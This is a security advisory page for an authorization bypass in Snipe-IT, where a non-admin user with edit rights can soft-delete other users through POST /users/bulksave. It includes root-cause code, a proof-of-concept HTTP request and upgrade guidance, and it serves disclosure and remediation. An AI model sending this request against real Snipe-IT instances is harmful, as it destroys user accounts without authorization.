Skip to content

GHSA-vgx7-c78r-69w9 CVE-2026-55460

Snipe-IT has an authorization bypass on bulk editing users

High Packagist
Severity
7.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 38.16% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
8.6.2
Upgrade snipe/snipe-it to this version or later

Description

Impact

An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.

Attacker Model

Authenticated non-admin user with:

{"users.view":"1","users.edit":"1"}

The attacker does not have users.delete, admin, or superuser.

Affected Component

  • routes/web/users.php

  • app/Http/Controllers/Users/BulkUsersController.php

  • Endpoint: POST /users/bulksave

Root Cause

The UI only exposes bulk delete to users with delete permission:

@can('delete', \App\Models\User::class)
    <option value="delete">...</option>
    <option value="merge">...</option>
@endcan

The confirmation path also checks delete:

} elseif ($request->input('bulk_actions') == 'delete') {
    $this->authorize('delete', User::class);

However, the destructive route is registered separately:

Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
    ->name('users/bulksave');

and destroy() authorizes only update:

public function destroy(Request $request)
{
    $this->authorize('update', User::class);

When delete_user=1 is present, the method reaches:

$user->delete();

Proof of Concept

  1. Create a non-admin attacker account with users.view and users.edit, but not users.delete.

  2. Create a harmless non-admin target user.

  3. Log in as the attacker and obtain a valid CSRF token.

  4. Send:

POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded

_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>

Observed response:

HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users

Patches

Patched in 374f426f0c

Affected versions

Packagist

PackageVulnerableFixed in
snipe/snipe-it
< 8.6.2
8.6.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

snipe/snipe-it Packagist → 8.6.2

composer
composer require snipe/snipe-it:^8.6.2

Severity breakdown

CVSS 3.1 7.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-396x-xmvh-p563
Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API
Medium Also affects snipe/snipe-it
GHSA-p9h3-gvpq-5539
Snipe-IT: Stored XSS via Custom Field name in asset-list column headers
High Also affects snipe/snipe-it
GHSA-hxcx-9h4f-42xx
Snipe-IT: 2FA bypass via the API token flow
High Also affects snipe/snipe-it
GHSA-c8qc-wf67-342w
Snipe-IT: Stored DOM XSS via table selected-count IDs
Medium Also affects snipe/snipe-it
GHSA-r9r3-g9fp-3q4q
Snipe-IT: Maintenance Record Disclosure via Missing Authorization on GET
Medium Also affects snipe/snipe-it
GHSA-3hgv-jr5j-cg9x
Snipe-IT: Chained Information Disclosure and IDOR Leads to Full EULA File Takeover
Medium Also affects snipe/snipe-it
GHSA-c6w2-j4wq-mvwg
Snipe-IT: Tenant Isolation Bypass in FMCS Floater Mode
High Also affects snipe/snipe-it
GHSA-35cr-9hqq-p2mg
Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint
Medium Also affects snipe/snipe-it
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor